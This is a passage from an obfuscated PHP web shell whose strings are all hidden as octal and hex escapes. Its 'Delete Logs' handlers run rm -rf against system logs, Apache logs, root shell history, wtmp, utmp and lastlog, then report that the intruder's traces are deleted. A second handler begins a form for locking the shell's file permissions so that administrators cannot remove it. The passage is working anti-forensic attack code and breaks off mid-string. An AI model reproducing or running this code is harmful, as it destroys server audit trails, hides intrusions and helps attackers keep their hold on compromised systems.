"\74\x62\162\x3e\74\143\x65\156\164\x65\x72\76\x3c\x62\76\x3c\163\160\141\x6e\76\104\x65\x6c\145\164\x65\x20\114\157\147\163\x20\x28\40\x46\157\x72\40\123\x61\x66\x65\40\x29\74\57\163\x70\x61\x6e\76\74\57\x62\76\74\143\x65\156\x74\x65\x72\76\74\x62\162\76"; echo "\74\164\141\142\x6c\145\x20\163\x74\171\154\145\75\47\x6d\x61\162\147\x69\156\x3a\40\60\x20\x61\x75\164\x6f\73\47\76\74\164\x72\x20\x76\141\154\x69\x67\156\x3d\x27\x74\157\160\47\76\x3c\x74\x64\x20\x61\154\151\x67\x6e\x3d\47\x6c\145\146\x74\47\76"; exec("\x72\x6d\x20\55\x72\x66\x20\57\164\155\x70\x2f\x6c\x6f\147\x73"); exec("\162\x6d\x20\55\x72\x66\x20\x2f\162\157\157\164\x2f\x2e\153\163\x68\x5f\x68\x69\x73\x74\x6f\162\171"); exec("\x72\x6d\x20\55\x72\146\40\x2f\162\157\157\x74\x2f\56\142\141\x73\150\137\150\151\x73\164\157\x72\171"); exec("\x72\155\x20\x2d\x72\146\40\57\x72\x6f\157\164\57\56\142\141\x73\150\137\x6c\x6f\x67\157\165\164"); exec("\162\155\x20\x2d\162\x66\40\57\165\x73\162\x2f\154\157\x63\141\154\57\141\x70\x61\x63\150\x65\57\154\x6f\x67\x73"); exec("\162\x6d\40\x2d\x72\146\40\x2f\165\x73\x72\57\x6c\x6f\143\141\154\x2f\141\x70\141\x63\150\x65\x2f\x6c\x6f\147"); exec("\x72\155\40\55\x72\146\x20\x2f\x76\141\x72\x2f\141\160\x61\x63\150\x65\x2f\154\157\x67\x73"); exec("\162\155\40\55\162\x66\x20\x2f\x76\x61\x72\57\141\x70\x61\143\x68\x65\57\x6c\x6f\147"); exec("\x72\155\40\x2d\x72\146\x20\57\x76\x61\162\57\162\165\x6e\57\165\164\x6d\x70"); exec("\x72\155\x20\x2d\x72\x66\40\57\x76\x61\162\x2f\154\157\x67\x73"); exec("\x72\155\40\55\x72\x66\40\x2f\166\141\x72\x2f\x6c\157\x67"); exec("\x72\155\x20\55\x72\146\40\57\166\x61\x72\57\141\144\155"); exec("\162\155\x20\55\x72\x66\40\57\x65\x74\x63\x2f\167\164\155\160"); exec("\x72\x6d\40\x2d\162\x66\40\x2f\145\x74\143\57\165\164\x6d\160"); exec("\x72\x6d\x20\55\162\x66\x20\57\x76\141\x72\x2f\154\x6f\x67\57\x6c\141\x73\x74\x6c\157\147"); exec("\x72\155\x20\55\x72\x66\x20\x2f\166\x61\x72\x2f\154\x6f\147\x2f\x77\x74\x6d\160"); shell_exec("\162\155\40\55\x72\x66\40\x2f\x74\155\x70\57\154\x6f\147\x73"); shell_exec("\162\155\x20\55\x72\146\x20\57\162\157\157\164\x2f\56\x6b\163\x68\137\x68\x69\x73\164\x6f\x72\x79"); shell_exec("\162\x6d\x20\x2d\x72\146\40\x2f\x72\x6f\x6f\x74\57\x2e\142\141\x73\x68\137\x68\x69\x73\x74\157\162\x79"); shell_exec("\162\155\x20\x2d\162\146\x20\x2f\162\x6f\157\164\57\x2e\142\141\x73\150\x5f\154\157\147\x6f\x75\x74"); shell_exec("\162\155\40\x2d\162\146\x20\57\165\163\162\57\154\157\143\141\154\57\x61\x70\x61\x63\150\145\57\x6c\x6f\147\163"); shell_exec("\x72\155\x20\x2d\162\x66\40\x2f\165\163\x72\x2f\x6c\157\x63\141\154\x2f\x61\160\141\x63\x68\x65\57\x6c\x6f\147"); shell_exec("\162\x6d\40\x2d\x72\146\x20\x2f\x76\141\x72\x2f\x61\160\141\x63\150\145\x2f\x6c\157\147\x73"); shell_exec("\162\155\x20\x2d\162\x66\x20\57\x76\141\162\x2f\141\160\141\x63\x68\145\x2f\154\x6f\x67"); shell_exec("\x72\x6d\40\55\x72\146\x20\x2f\166\141\162\57\162\165\156\57\x75\x74\155\160"); shell_exec("\x72\155\x20\55\162\x66\40\x2f\x76\141\162\x2f\x6c\157\x67\x73"); shell_exec("\x72\155\40\x2d\x72\x66\40\57\x76\x61\162\x2f\154\x6f\147"); shell_exec("\162\155\x20\x2d\x72\146\x20\57\x76\141\162\57\x61\144\155"); shell_exec("\162\x6d\40\55\162\146\40\x2f\x65\x74\x63\57\167\x74\155\160"); shell_exec("\162\x6d\x20\x2d\162\x66\40\x2f\x65\x74\143\x2f\165\x74\155\160"); shell_exec("\162\x6d\40\55\x72\x66\x20\57\x76\141\162\x2f\x6c\x6f\x67\x2f\154\x61\x73\x74\154\157\x67"); shell_exec("\x72\155\x20\x2d\162\x66\x20\x2f\166\141\x72\57\154\157\x67\57\167\x74\x6d\x70"); passthru("\162\155\x20\55\x72\x66\x20\57\164\x6d\x70\57\x6c\157\x67\x73"); passthru("\x72\155\x20\x2d\x72\x66\40\x2f\162\157\157\164\57\56\153\x73\x68\137\x68\x69\x73\164\157\162\171"); passthru("\x72\155\x20\55\x72\146\x20\57\x72\157\157\164\57\x2e\142\141\x73\150\x5f\x68\x69\163\x74\x6f\x72\x79"); passthru("\x72\x6d\x20\x2d\162\x66\40\57\x72\x6f\x6f\x74\57\x2e\x62\x61\163\150\x5f\154\x6f\147\157\x75\x74"); passthru("\x72\x6d\40\55\x72\146\x20\x2f\x75\163\x72\57\154\x6f\x63\141\154\x2f\x61\160\141\143\x68\x65\57\154\x6f\147\163"); passthru("\162\155\40\55\162\146\x20\57\165\x73\x72\x2f\154\157\x63\x61\154\57\x61\x70\141\143\x68\x65\x2f\x6c\x6f\x67"); passthru("\162\155\x20\55\162\146\40\x2f\166\141\x72\57\141\160\141\143\150\145\57\154\157\x67\x73"); passthru("\x72\x6d\40\x2d\x72\x66\x20\57\166\141\162\57\x61\x70\141\143\x68\x65\57\x6c\x6f\x67"); passthru("\162\155\40\x2d\x72\146\40\57\166\x61\x72\57\x72\165\x6e\57\x75\x74\155\160"); passthru("\162\155\x20\55\x72\x66\x20\x2f\x76\x61\162\57\x6c\x6f\x67\x73"); passthru("\162\155\x20\x2d\162\x66\40\x2f\x76\x61\162\x2f\154\157\147"); passthru("\162\155\40\x2d\162\x66\x20\x2f\166\141\x72\x2f\141\144\x6d"); passthru("\162\x6d\x20\x2d\x72\x66\x20\57\x65\x74\x63\x2f\167\164\155\x70"); passthru("\x72\155\40\55\x72\x66\40\57\x65\x74\143\x2f\165\x74\155\160"); passthru("\x72\155\40\x2d\162\x66\x20\x2f\x76\141\162\57\x6c\157\x67\57\154\141\163\164\154\x6f\147"); passthru("\162\x6d\40\55\162\146\x20\x2f\166\x61\162\57\154\157\x67\x2f\x77\164\155\x70"); system("\162\155\x20\x2d\162\146\x20\57\x74\x6d\160\x2f\x6c\157\x67\x73"); sleep(2); echo "\x3c\142\162\76\104\x65\154\145\x74\x69\156\x67\x20\56\56\56\57\164\155\x70\x2f\x6c\157\x67\163\40"; sleep(2); system("\x72\x6d\40\55\x72\x66\x20\57\162\x6f\x6f\164\57\x2e\142\x61\x73\150\137\x68\x69\x73\164\157\162\171"); sleep(2); echo "\74\160\76\x44\145\x6c\145\164\151\x6e\x67\40\56\x2e\56\x2f\x72\x6f\157\164\57\56\x62\x61\x73\150\x5f\x68\151\x73\164\157\162\x79\40\74\x2f\160\x3e"; system("\x72\x6d\40\55\162\x66\40\x2f\162\x6f\x6f\164\x2f\x2e\x6b\x73\x68\137\x68\x69\x73\x74\x6f\x72\171"); sleep(2); echo "\x3c\x70\76\104\x65\154\x65\x74\151\x6e\x67\x20\x2e\x2e\56\x2f\x72\x6f\x6f\164\57\x2e\153\163\150\137\x68\x69\163\164\x6f\162\171\x20\74\57\160\76"; system("\x72\x6d\40\x2d\162\x66\x20\57\x72\x6f\x6f\x74\57\x2e\142\141\163\150\x5f\154\x6f\x67\x6f\x75\x74"); sleep(2); echo "\74\160\x3e\x44\145\154\145\164\x69\x6e\147\40\56\x2e\56\x2f\162\157\x6f\164\x2f\56\x62\141\163\150\x5f\154\x6f\x67\157\165\164\40\74\57\160\76"; system("\162\x6d\x20\x2d\x72\x66\40\x2f\x75\163\162\57\x6c\157\143\141\154\57\141\160\x61\143\x68\x65\x2f\154\x6f\x67\163"); sleep(2); echo "\x3c\160\x3e\104\145\x6c\145\164\151\x6e\147\x20\56\x2e\56\57\165\x73\162\57\x6c\157\x63\141\154\x2f\x61\160\141\x63\150\145\x2f\x6c\157\147\163\40\74\x2f\x70\76"; system("\x72\x6d\40\x2d\162\146\40\57\165\163\x72\57\x6c\x6f\x63\x61\x6c\57\141\x70\141\143\x68\145\57\154\157\147"); sleep(2); echo "\74\x70\76\104\x65\154\x65\x74\x69\156\x67\40\x2e\56\x2e\x2f\165\x73\162\57\x6c\x6f\x63\141\154\57\x61\x70\141\x63\x68\145\57\154\x6f\x67\40\x3c\57\160\76"; system("\x72\155\x20\x2d\x72\x66\40\x2f\x76\141\x72\x2f\x61\160\141\143\x68\x65\x2f\154\157\147\x73"); sleep(2); echo "\x3c\x70\76\x44\x65\x6c\145\164\x69\x6e\x67\x20\x2e\x2e\56\x2f\x76\141\x72\x2f\141\x70\141\x63\x68\145\x2f\x6c\157\147\163\40\74\x2f\x70\76"; system("\x72\155\x20\55\162\146\40\x2f\166\x61\162\x2f\141\160\x61\143\150\145\57\154\x6f\147"); sleep(2); echo "\x3c\160\x3e\x44\145\154\x65\164\151\156\147\40\56\56\x2e\x2f\x76\x61\162\57\141\x70\x61\143\150\145\57\x6c\x6f\x67\40\74\x2f\x70\76"; system("\x72\155\40\x2d\162\146\x20\57\x76\141\162\x2f\162\x75\156\x2f\165\x74\x6d\x70"); sleep(2); echo "\74\x70\76\x44\x65\154\145\164\151\x6e\147\40\x2e\56\x2e\x2f\x76\141\x72\x2f\x72\165\156\x2f\165\164\155\x70\40\74\57\x70\76"; system("\162\x6d\x20\x2d\x72\x66\x20\57\166\141\162\57\154\157\x67\163"); sleep(2); echo "\74\160\76\x44\x65\154\145\x74\151\x6e\147\x20\56\56\56\x2f\166\141\x72\x2f\154\157\147\163\x20\x3c\x2f\x70\x3e"; system("\x72\155\40\x2d\162\146\40\x2f\x76\x61\162\57\154\x6f\x67"); sleep(2); echo "\74\x70\76\x44\145\154\145\164\151\x6e\147\x20\56\56\56\57\166\x61\x72\x2f\x6c\x6f\147\x20\74\57\x70\x3e"; system("\x72\x6d\40\55\162\146\40\57\166\x61\162\57\x61\x64\x6d"); sleep(2); echo "\74\x70\76\104\x65\154\145\164\x69\156\147\x20\56\x2e\56\57\166\141\x72\57\x61\144\155\x20\74\57\160\x3e"; system("\x72\x6d\x20\55\x72\146\x20\57\x65\x74\x63\x2f\167\164\155\160"); sleep(2); echo "\x3c\x70\76\x44\x65\154\x65\x74\151\156\x67\x20\x2e\56\56\x2f\145\x74\143\x2f\x77\164\155\x70\40\x3c\x2f\160\76"; system("\162\x6d\x20\x2d\x72\146\40\x2f\x65\x74\x63\57\x75\x74\155\x70"); sleep(2); echo "\x3c\x70\x3e\104\145\x6c\x65\164\x69\156\147\x20\x2e\56\56\x2f\145\164\x63\x2f\165\x74\155\x70\x20\74\57\x70\76"; system("\x72\155\x20\x2d\x72\x66\x20\57\166\141\162\57\x6c\157\x67\57\154\141\163\164\x6c\x6f\x67"); sleep(2); echo "\x3c\x70\x3e\x44\145\154\x65\164\x69\156\x67\x20\56\56\56\57\166\141\162\57\x6c\157\x67\x2f\154\141\163\x74\x6c\157\x67\40\x3c\x2f\160\x3e"; system("\x72\155\40\x2d\x72\x66\x20\x2f\166\141\162\57\x6c\157\x67\x2f\167\164\155\x70"); sleep(2); echo "\x3c\x70\76\x44\145\154\145\164\x69\x6e\147\40\56\56\x2e\57\166\x61\162\57\x6c\157\147\x2f\167\164\155\160\40\74\x2f\160\x3e"; sleep(4); echo "\x3c\142\x72\76\74\142\x72\x3e\x3c\x70\76\131\157\165\x72\x20\124\162\x61\x63\145\163\40\110\141\x73\x20\102\145\145\156\40\x53\x75\x63\143\x65\163\x73\146\x75\154\x6c\171\40\104\145\154\145\x74\x69\x6e\147\x20\x2e\x2e\x2e\106\162\x6f\155\40\x74\150\145\x20\x53\145\x72\166\x65\x72"; echo "\74\x2f\x74\x64\76\74\x2f\x74\x72\76\74\57\x74\141\142\154\x65\76"; } elseif (isset($_GET["\144\x65\154\x65\164\x65\137\154\157\x67\163"])) { echo "\x3c\142\x72\76\x3c\x63\x65\x6e\164\x65\162\x3e\x3c\142\x3e\74\163\x70\141\156\x3e\x44\145\154\145\x74\145\x20\114\x6f\147\163\x20\50\40\x46\x6f\162\x20\123\141\x66\145\40\x29\74\x2f\x73\x70\x61\x6e\x3e\x3c\57\x62\x3e\x3c\143\145\156\164\x65\162\x3e\74\x62\x72\x3e"; echo "\74\x74\x61\x62\154\x65\x20\163\164\x79\x6c\x65\75\x27\x6d\141\162\x67\151\x6e\x3a\40\60\40\x61\x75\x74\157\73\x27\76\x3c\164\x72\40\x76\141\x6c\x69\x67\x6e\x3d\47\x74\157\160\x27\x3e\74\164\x64\40\141\154\151\147\x6e\75\47\x6c\145\146\x74\x27\x3e"; exec("\162\x6d\40\x2d\x72\x66\40\57\x74\155\x70\57\x6c\157\147\163"); exec("\162\x6d\x20\55\162\146\x20\x2f\x72\x6f\x6f\164\57\56\x6b\x73\x68\x5f\x68\151\163\164\157\162\171"); exec("\x72\155\40\55\x72\x66\x20\x2f\162\157\x6f\x74\57\x2e\x62\141\163\x68\137\x68\x69\163\164\x6f\162\x79"); exec("\x72\x6d\x20\x2d\162\x66\40\x2f\x72\157\x6f\x74\x2f\x2e\x62\x61\x73\150\x5f\x6c\x6f\x67\157\165\164"); exec("\162\155\x20\55\162\146\x20\57\x75\x73\x72\57\x6c\157\x63\141\154\x2f\x61\160\x61\x63\x68\145\x2f\154\157\147\163"); exec("\162\155\40\55\162\x66\x20\57\165\163\x72\x2f\154\x6f\143\x61\x6c\x2f\141\160\x61\x63\x68\x65\57\154\x6f\x67"); exec("\x72\x6d\40\55\x72\x66\x20\57\x76\x61\162\57\x61\x70\x61\x63\150\145\57\x6c\157\x67\163"); exec("\162\x6d\40\55\x72\x66\40\57\x76\141\162\x2f\141\160\x61\143\150\x65\x2f\x6c\157\x67"); exec("\162\x6d\x20\55\x72\x66\x20\57\x76\141\162\57\162\165\156\x2f\165\164\155\160"); exec("\162\155\x20\x2d\162\146\40\x2f\166\141\162\57\x6c\x6f\147\163"); exec("\162\x6d\40\x2d\162\146\x20\57\x76\x61\x72\57\x6c\157\147"); exec("\x72\x6d\40\55\162\x66\x20\x2f\166\x61\x72\57\141\144\155"); exec("\162\155\x20\55\162\146\x20\57\x65\x74\143\57\x77\164\x6d\160"); exec("\162\x6d\40\x2d\x72\x66\x20\x2f\145\164\x63\57\x75\x74\155\160"); exec("\162\x6d\x20\x2d\x72\146\x20{$HISTFILE}"); exec("\x72\x6d\x20\x2d\162\146\x20\x2f\166\x61\162\x2f\x6c\x6f\147\x2f\x6c\x61\x73\164\154\157\147"); exec("\x72\x6d\40\x2d\162\x66\40\x2f\x76\x61\162\57\154\157\x67\x2f\167\x74\155\160"); shell_exec("\162\x6d\40\x2d\162\146\x20\x2f\x74\x6d\x70\57\x6c\x6f\147\163"); shell_exec("\162\155\40\55\162\146\x20\57\162\157\x6f\164\57\56\153\x73\150\x5f\150\x69\163\164\x6f\162\171"); shell_exec("\162\x6d\x20\55\162\x66\x20\57\162\x6f\157\x74\57\x2e\142\x61\x73\x68\137\150\x69\x73\164\157\162\x79"); shell_exec("\162\x6d\40\55\x72\146\x20\x2f\162\157\157\164\x2f\x2e\x62\141\x73\x68\137\x6c\x6f\147\157\x75\x74"); shell_exec("\162\x6d\40\55\162\146\x20\x2f\165\x73\162\x2f\x6c\x6f\143\141\x6c\x2f\x61\160\x61\143\150\x65\57\154\157\x67\163"); shell_exec("\162\155\40\x2d\162\x66\x20\x2f\165\163\162\x2f\154\157\x63\x61\154\x2f\x61\x70\x61\x63\x68\145\x2f\154\157\147"); shell_exec("\162\x6d\x20\55\x72\x66\x20\x2f\166\x61\162\57\x61\160\141\x63\x68\145\x2f\154\x6f\x67\x73"); shell_exec("\x72\x6d\x20\x2d\x72\146\40\x2f\x76\x61\162\57\141\160\x61\143\x68\145\57\154\157\x67"); shell_exec("\x72\155\x20\x2d\162\x66\40\57\166\141\x72\x2f\x72\x75\156\57\x75\164\155\160"); shell_exec("\x72\155\x20\x2d\162\x66\40\57\x76\x61\162\x2f\154\x6f\x67\163"); shell_exec("\x72\155\x20\55\x72\x66\x20\57\166\x61\162\57\x6c\x6f\147"); shell_exec("\162\155\x20\x2d\x72\x66\40\x2f\x76\x61\162\57\141\x64\x6d"); shell_exec("\x72\155\40\x2d\162\x66\40\x2f\145\164\x63\x2f\167\x74\155\160"); shell_exec("\x72\155\40\x2d\162\x66\x20\x2f\145\164\143\57\x75\164\155\160"); shell_exec("\162\155\x20\x2d\x72\146\40{$HISTFILE}"); shell_exec("\x72\x6d\x20\x2d\x72\146\x20\57\166\x61\162\x2f\x6c\x6f\147\57\154\141\163\x74\154\x6f\147"); shell_exec("\162\155\40\x2d\x72\146\x20\57\166\141\x72\57\x6c\x6f\147\57\x77\164\x6d\160"); passthru("\x72\x6d\40\55\162\146\x20\x2f\164\x6d\160\x2f\x6c\157\147\163"); passthru("\x72\155\40\55\x72\146\40\x2f\x72\157\157\x74\57\x2e\x6b\x73\150\x5f\150\x69\163\164\x6f\x72\x79"); passthru("\162\x6d\x20\x2d\162\x66\x20\x2f\162\157\x6f\x74\57\56\142\x61\x73\x68\137\x68\x69\163\164\x6f\x72\x79"); passthru("\x72\x6d\40\55\162\x66\40\x2f\162\x6f\157\x74\57\56\142\x61\163\x68\x5f\154\x6f\147\x6f\x75\x74"); passthru("\x72\x6d\40\55\162\x66\x20\57\x75\x73\x72\x2f\154\x6f\143\141\x6c\57\x61\160\141\143\x68\x65\x2f\x6c\x6f\147\x73"); passthru("\162\x6d\40\55\162\x66\x20\x2f\165\163\162\x2f\154\x6f\143\141\154\57\141\x70\x61\143\150\145\57\154\x6f\x67"); passthru("\x72\x6d\40\x2d\162\146\x20\57\x76\141\162\x2f\x61\160\141\x63\150\145\57\154\x6f\x67\163"); passthru("\162\x6d\40\x2d\162\146\x20\x2f\x76\141\x72\x2f\141\160\141\143\150\145\x2f\154\x6f\x67"); passthru("\162\x6d\40\x2d\162\x66\x20\x2f\166\x61\162\57\x72\x75\x6e\x2f\x75\164\155\160"); passthru("\x72\155\x20\55\162\146\x20\57\x76\x61\162\x2f\x6c\x6f\147\163"); passthru("\x72\x6d\x20\55\162\146\40\x2f\x76\x61\162\57\x6c\x6f\x67"); passthru("\x72\155\40\x2d\x72\x66\x20\x2f\x76\x61\162\57\141\144\x6d"); passthru("\x72\x6d\40\x2d\x72\x66\x20\57\x65\164\143\x2f\x77\164\155\160"); passthru("\162\x6d\x20\55\x72\x66\40\57\x65\164\x63\57\x75\164\x6d\160"); passthru("\x72\x6d\40\55\162\x66\40{$HISTFILE}"); passthru("\x72\155\40\55\x72\146\40\x2f\x76\x61\162\x2f\x6c\157\x67\x2f\x6c\x61\163\164\154\157\x67"); passthru("\162\155\x20\x2d\x72\x66\x20\57\166\x61\162\57\x6c\x6f\147\57\167\x74\x6d\x70"); system("\x72\x6d\40\x2d\x72\x66\40\57\164\155\x70\57\x6c\x6f\x67\x73"); sleep(2); echo "\74\143\145\156\164\145\162\x3e\x3c\x62\162\x3e\x44\145\154\145\164\151\156\x67\40\56\x2e\56\x2f\x74\155\160\57\154\x6f\147\163\74\x2f\143\145\156\164\145\162\76"; sleep(2); system("\x72\x6d\40\55\x72\146\40\57\162\x6f\157\x74\57\x2e\x62\x61\x73\150\x5f\150\x69\163\x74\157\x72\x79"); sleep(2); echo "\x3c\x63\145\x6e\164\x65\162\x3e\74\x70\76\104\x65\154\x65\x74\151\156\x67\x20\56\56\56\x2f\x72\x6f\x6f\x74\x2f\56\x62\x61\163\x68\137\x68\151\163\x74\x6f\162\x79\40\x3c\x2f\x70\76\74\57\143\145\156\x74\145\x72\76"; system("\162\155\x20\x2d\x72\x66\x20\57\x72\x6f\157\x74\57\x2e\x6b\163\x68\x5f\x68\x69\163\x74\157\x72\x79"); sleep(2); echo "\x3c\x63\x65\156\164\x65\x72\76\74\x70\x3e\104\145\154\x65\164\151\156\x67\40\x2e\56\56\57\x72\x6f\x6f\x74\57\56\153\x73\x68\137\150\x69\163\x74\x6f\162\171\40\74\x2f\x70\x3e\x3c\x2f\143\x65\x6e\x74\145\x72\x3e"; system("\x72\155\40\55\162\146\40\x2f\162\157\x6f\x74\57\56\x62\141\163\150\137\x6c\x6f\147\x6f\x75\x74"); sleep(2); echo "\74\x63\x65\156\x74\x65\x72\76\74\160\x3e\x44\x65\x6c\145\x74\151\156\x67\x20\x2e\x2e\x2e\x2f\162\157\x6f\x74\57\56\x62\141\163\150\137\x6c\x6f\147\x6f\165\164\40\x3c\57\x70\x3e\x3c\57\x63\x65\x6e\x74\x65\162\76"; system("\162\155\x20\x2d\x72\146\40\57\x75\163\x72\x2f\154\x6f\143\141\x6c\x2f\141\160\141\143\150\145\x2f\154\x6f\x67\x73"); sleep(2); echo "\74\x63\x65\156\x74\x65\162\x3e\x3c\160\x3e\x44\x65\154\145\164\x69\156\147\40\x2e\x2e\56\x2f\x75\163\162\57\x6c\157\143\141\x6c\x2f\x61\x70\x61\143\150\145\x2f\x6c\157\147\x73\x20\x3c\57\x70\76\x3c\x2f\x63\x65\156\x74\145\x72\x3e"; system("\x72\155\x20\55\162\146\x20\57\x75\163\x72\57\x6c\x6f\143\141\x6c\x2f\x61\x70\x61\143\150\145\57\154\157\x67"); sleep(2); echo "\x3c\x63\145\x6e\x74\x65\162\x3e\x3c\x70\76\x44\x65\154\x65\x74\x69\x6e\x67\x20\56\56\56\x2f\165\163\162\x2f\154\157\143\141\x6c\x2f\x61\x70\141\x63\150\145\x2f\x6c\x6f\147\40\x3c\57\x70\x3e\74\57\143\145\156\x74\145\162\76"; system("\x72\155\x20\55\x72\146\x20\57\x76\x61\x72\57\x61\x70\141\143\x68\145\x2f\154\157\x67\163"); sleep(2); echo "\x3c\x63\x65\156\164\x65\x72\x3e\74\x70\76\x44\x65\x6c\x65\x74\151\x6e\147\x20\x2e\x2e\56\x2f\x76\x61\162\x2f\x61\160\141\143\x68\145\57\x6c\157\147\163\40\74\x2f\x70\76\x3c\57\143\x65\x6e\164\145\x72\76"; system("\x72\155\x20\x2d\162\x66\40\x2f\x76\x61\162\57\x61\x70\x61\x63\x68\x65\x2f\154\157\147"); sleep(2); echo "\x3c\x63\x65\x6e\x74\x65\162\76\x3c\x70\x3e\x44\x65\x6c\x65\164\x69\x6e\147\40\x2e\56\56\x2f\166\x61\162\x2f\141\160\x61\x63\x68\145\57\154\x6f\147\x20\74\x2f\x70\76\74\x2f\143\x65\156\x74\x65\162\76"; system("\162\x6d\x20\x2d\x72\146\x20\57\x76\141\x72\x2f\x72\165\156\x2f\x75\164\155\160"); sleep(2); echo "\74\143\145\156\x74\x65\162\76\x3c\x70\x3e\104\x65\154\145\x74\151\x6e\147\x20\x2e\x2e\56\57\x76\x61\x72\x2f\162\165\156\57\x75\x74\x6d\160\40\x3c\x2f\x70\76\74\57\x63\145\x6e\x74\x65\x72\x3e"; system("\x72\x6d\40\55\x72\x66\x20\x2f\166\x61\162\57\x6c\x6f\x67\x73"); sleep(2); echo "\x3c\x63\x65\156\x74\x65\162\76\74\160\x3e\x44\x65\154\x65\x74\151\x6e\147\x20\56\56\56\x2f\166\x61\x72\57\154\x6f\147\163\40\74\x2f\160\x3e\x3c\x2f\x63\145\x6e\164\145\x72\x3e"; system("\162\x6d\40\x2d\x72\146\40\57\166\x61\x72\57\154\157\x67"); sleep(2); echo "\x3c\x63\x65\156\x74\x65\162\76\x3c\x70\x3e\104\x65\154\x65\164\x69\156\x67\40\x2e\x2e\x2e\x2f\166\x61\x72\57\154\x6f\x67\x20\74\57\160\x3e\74\x2f\x63\x65\x6e\164\145\x72\76"; system("\162\x6d\x20\x2d\162\x66\x20\x2f\x76\x61\x72\57\141\x64\155"); sleep(2); echo "\74\143\145\156\x74\x65\162\76\74\x70\76\x44\145\x6c\x65\164\151\156\147\40\56\x2e\x2e\x2f\166\x61\x72\x2f\141\144\155\x20\x3c\x2f\160\x3e\x3c\57\x63\145\156\x74\145\162\x3e"; system("\162\155\40\55\x72\x66\x20\57\145\x74\143\x2f\167\164\155\x70"); sleep(2); echo "\74\x63\145\x6e\164\145\162\x3e\x3c\160\x3e\104\x65\x6c\x65\x74\151\x6e\147\x20\x2e\56\56\57\145\164\x63\x2f\167\164\x6d\x70\40\x3c\x2f\160\76\x3c\57\143\x65\x6e\x74\x65\162\76"; system("\x72\155\40\x2d\x72\146\40\57\x65\x74\143\57\x75\164\155\160"); sleep(2); echo "\74\x63\x65\x6e\164\x65\x72\x3e\x3c\x70\x3e\x44\x65\154\145\164\x69\x6e\x67\x20\56\56\56\57\x65\164\x63\x2f\165\164\155\x70\x20\x3c\x2f\x70\76\74\x2f\x63\145\x6e\164\x65\162\x3e"; system("\162\x6d\x20\x2d\162\x66\x20\57\166\141\x72\x2f\x6c\157\147\57\154\141\x73\164\154\x6f\x67"); sleep(2); echo "\74\143\x65\x6e\164\x65\x72\76\74\x70\76\x44\145\x6c\145\x74\x69\x6e\x67\x20\56\56\56\x2f\166\141\162\57\x6c\x6f\147\57\x6c\141\x73\x74\154\x6f\x67\40\74\x2f\160\x3e\x3c\x2f\143\x65\156\164\x65\162\76"; system("\x72\x6d\40\55\x72\146\x20\x2f\x76\141\x72\57\x6c\157\147\57\x77\164\155\x70"); sleep(2); echo "\74\x63\x65\x6e\164\x65\162\x3e\74\160\x3e\104\145\x6c\x65\164\151\x6e\147\40\x2e\x2e\x2e\57\x76\141\x72\57\154\x6f\x67\57\167\164\155\160\40\74\x2f\160\x3e\x3c\x2f\x63\145\x6e\x74\x65\162\x3e"; sleep(4); echo "\74\143\x65\x6e\x74\x65\x72\x3e\x3c\142\162\x3e\74\142\162\76\74\160\76\74\x66\x6f\156\164\40\x63\157\x6c\x6f\162\75\x22\147\x72\x65\x65\156\x22\x3e\131\x6f\165\162\40\124\162\141\x63\145\163\40\110\141\163\x20\102\145\x65\x6e\40\x53\x75\143\143\145\163\x73\x66\x75\154\154\x79\40\x44\145\x6c\145\x74\151\x6e\147\x20\x2e\x2e\56\106\x72\x6f\x6d\40\x74\150\x65\40\123\x65\162\x76\x65\162\x3c\57\x66\x6f\156\164\x3e\x3c\x2f\x70\76\x3c\57\x63\145\156\x74\145\x72\x3e"; echo "\74\57\x74\144\x3e\74\57\164\x72\76\74\x2f\x74\141\x62\154\145\76"; } elseif (isset($_GET["\x6c\x6f\143\153\x73\x68\x65\x6c\154"])) { echo "\74\150\164\155\x6c\x3e\74\142\x72\76\xa\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\40\74\143\x65\156\x74\x65\x72\x3e\x3c\x66\157\x6e\x74\x20\146\141\x63\x65\x3d\x27\102\165\x6e\x67\145\x65\x20\x4f\x75\164\154\151\156\x65\x27\40\163\x69\x7a\x65\75\47\x32\65\160\170\x27\x3e\114\x6f\143\x6b\40\x53\150\145\x6c\154\x20\57\x20\106\151\154\145\x3c\x2f\x66\157\x6e\164\x3e\74\142\x72\x3e\12\40\40\40\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\74\146\x6f\156\164\x20\x63\x6f\154\157\x72\75\x27\x79\x65\x6c\x6c\157\167\47\x20\163\x69\172\145\x3d\x27\63\47\x3e\x54\150\x69\163\x20\x66\145\x61\x74\x75\x72\145\40\x6f\x6e\x6c\x79\40\x6c\x6f\143\x6b\163\x20\163\x68\x65\154\154\x2f\146\151\154\x65\40\160\x65\162\x6d\151\163\x73\x69\x6f\x6e\163\54\40\160\154\145\x61\163\145\x20\165\163\x65\40\74\146\157\156\164\x20\143\157\x6c\x6f\162\x3d\47\x6c\x69\x6d\x65\x27\76\101\x6e\x74\x69\x20\x44\145\154\x65\164\x65\40\123\x68\145\154\x6c\x3c\x2f\x66\x6f\156\164\76\x20\151\146\40\x79\157\165\x20\x64\x6f\156\x27\x74\x20\x77\141\x6e\164\x20\171\x6f\165\x72\40\163\x68\x65\154\x6c\40\164\x6f\x20\142\145\x20\154\x6f\163\x74\56\x3c\x2f\146\x6f\x6e\164\x3e\x3c\x62\162\x3e\xa\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\74\x66\157\156\164\x20\143\157\x6c\x6f\162\x3d\47\x79\x65\x6c\x6c\157\167\47\x20\x73\x69\172\x65\x3d\47\x33\47\x3e\52\x4e\157\x74\145\40\72\x20\124\x68\151\x73\x20\x66\145\x61\x74\x75\x72\x65\x20\143\x61\156\x20\x6f\x6e\154\171\40\142\145\x20\x75\x73\145\x64\40\157\156\40\114\x69\x6e\x75\x78\40\163\x79\x73\x74\145\x6d\163\x3c\57\x66\x6f\x6e\x74\76\xa\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\x3c\142\162\x3e\xa\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\74\146\x6f\162\155\40\155\145\x74\150\157\144\x3d\x27\160\x6f\163\x74\47\40\x73\x74\171\154\x65\x3d\x27\x66\x6f\x6e\164\x2d\163\x69\172\145\x3a\62\65\x70\x78\73\x27\76\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x3c\151\x6e\x70\165\164\x20\x74\171\160\145\x3d\47\x68\x69\x64\x64\145\156\x27\x20\x6e\x61\x6d\x65\75\47\165\x72\154\47\x20\x73\x69\172\145\x3d\47\65\x30\47\40\x68\x65\x69\147\150\164\75\x27\x31\x3